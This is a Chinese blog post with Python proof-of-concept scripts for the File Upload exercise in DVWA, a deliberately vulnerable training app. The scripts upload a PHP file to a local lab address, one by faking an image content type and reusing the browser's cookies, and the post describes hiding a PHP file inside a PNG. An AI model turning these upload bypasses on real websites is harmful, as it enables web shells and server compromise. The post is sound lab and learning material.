当前位置:网站首页>POC——DVWA‘s File Upload
POC——DVWA‘s File Upload
2022-07-17 05:03:00 【wavesky111】
Level——low
最近了解了一下python的selenium,干脆用它写一个low级别的POC吧~
from selenium.webdriver import Chrome
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support.select import Select
import time
driver = Chrome()
driver.get("http://192.168.117.130/DVWA-1.9/login.php")
WebDriverWait(driver,10).until(lambda d:"Login" in d.title)
driver.find_element(By.XPATH,'//*[@id="content"]/form/fieldset/input[1]').send_keys("admin")
driver.find_element(By.XPATH,'//*[@id="content"]/form/fieldset/input[2]').send_keys("password")
driver.find_element(By.XPATH,'//*[@id="content"]/form/fieldset/p/input').click()
driver.find_element(By.XPATH,'//*[@id="main_menu_padded"]/ul[3]/li[1]').click()
driver.find_element(By.XPATH,'//*[@id="main_body"]/div/form/select').click()
loc = (By.XPATH,'//*[@id="main_body"]/div/form/select')
ele = driver.find_element(*loc)
s = Select(ele)
s.select_by_value("low")
driver.find_element(By.XPATH,'//*[@id="main_body"]/div/form/input[1]').click()
driver.find_element(By.XPATH,'//*[@id="main_menu_padded"]/ul[2]/li[5]').click()
driver.find_element(By.XPATH,'//*[@id="main_body"]/div/div/form/input[2]').send_keys('/path/one.php')
driver.find_element(By.XPATH,'//*[@id="main_body"]/div/div/form/input[3]').click()
response = driver.find_element(By.XPATH,'//*[@id="main_body"]/div/div/pre')
re = 'one.php'
flag=re in str(response.text)
if flag:
print("It looks likely vulnerable")
else:
print("It is strong")
driver.close()Level-Medium
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import browser_cookie3
cookie = browser_cookie3.chrome()
URL = 'http://192.168.117.130/DVWA-1.9/vulnerabilities/upload/'
fl = open("one.php","rb")
m = MultipartEncoder(
fields={'MAX_FILE_SIZE': '100000',
'uploaded': ('one.php',fl,'image/png'),
'Upload': 'Upload'
})
headers = {
"Content-Type": m.content_type
}
response = requests.post(URL, data=m, headers=headers,cookies=cookie)
re = 'one.php'
flag=re in str(response.content)
if flag:
print("It looks likely vulnerable")
else:
print("It is strong")另:之前在这里遇到了不少问题,单单是处理这些问题就花费了好长时间,现在记录一下:
- 此处浏览器的Content-Type是multipart/form-data,这个类型很有意思也很有特点,post传参形式没有变,只是把“data:vlaue”形式变成了一串随机生成的遗传字符串作为分隔符,分隔符内定义了各种参数以及文件内容的二进制,所以构造post请求的时候需要用到多文件上传(MultipartEncoder)的包(也有别的方法,为了以后方便,这里就用了这个),链接放在这里;
- 看到网上有很多multipart/form-data类型上传文件时,都用到了token这个值,但是我没有从我的抓取到的包中找到,网上查了一下,可能是DVWA没有定义token这个键值,不过同样是身份验证的话,cookie也有相同作用,cookie、session、token区别放在这里;
- request请求数据后,会自动进行url编码
Level-High
这里就是多加了一个cmd下copy one.png /b + one.txt /a two.png的图片隐写过程(因为high级别对文件大小进行了限制),然后将新的到的two.png传入。这个涉及到后面的文件包含,这里就不写了~
边栏推荐
- swagger的坑
- Freshman task-5
- Warriors of the Visual Studio, Assemble! (warriors of visual studio, assemble!) Original 19:40:00 on July 12, 2009 label: compilation /mic
- 数据库取配置文件字段,然后进行数据处理和判断
- 【Lipschitz】基于matlab的Lipschitz李氏指数仿真
- DSL搜索结果处理,包括排序,分页,高亮
- tidb 学习
- NoSQL概述
- Tasking new aurix tc37x demo project
- ThreadLocal线程安全示例及其原理
猜你喜欢

浅聊链路追踪

力扣刷题02(三数之和+最大子序和+二叉树最近公共祖先)

【燃料电池】基于simulink的燃料电池系统控制策略仿真

毕设:基于Vue+Socket+Redis的分布式高并发防疫健康管理系统

项目组暑假总结02

老年祝福火爆短视频微信小程序源码下载支持流量主

UE-插件 ElectronicNodes 5.0.0/4.23-4.27

Simple UI funny text conversion Emoji expression wechat applet supports sentence word conversion_ Source code

Notes on Advanced Mathematics: selected exercises of Wu Yue

渗透测试 10 --- 扫描 web目录 (dirb、wfuzz、wpscan、nikto)
随机推荐
FanoutExchange交换机简单使用
接口的参数返回封装类Result
消息转换器(json)
类对象自动注入属性操作工具
脱敏字段举例
MYSQL模糊匹配1,11,111这种相似字符串问题
渗透测试 10 --- 扫描 web目录 (dirb、wfuzz、wpscan、nikto)
mysql8.026-- 视图(下)
毕设:基于Vue+Socket+Redis的分布式高并发防疫健康管理系统
Restclient operation document
Web development with fastapi
[Unity] Input. Index of gettouch[index]
微众对接机制备忘
itext修改pdf文字
负载均衡添加ssl证书
[fuel cell] simulation of fuel cell system control strategy based on Simulink
Construction and application of knowledge atlas de (V): knowledge reasoning
微服务高并发服务治理
Service end interface test - test point of interface test [Hangzhou multi tester] [Hangzhou multi tester _ Wang Sir]
高等数学笔记:关于等价无穷小替换的一个猜想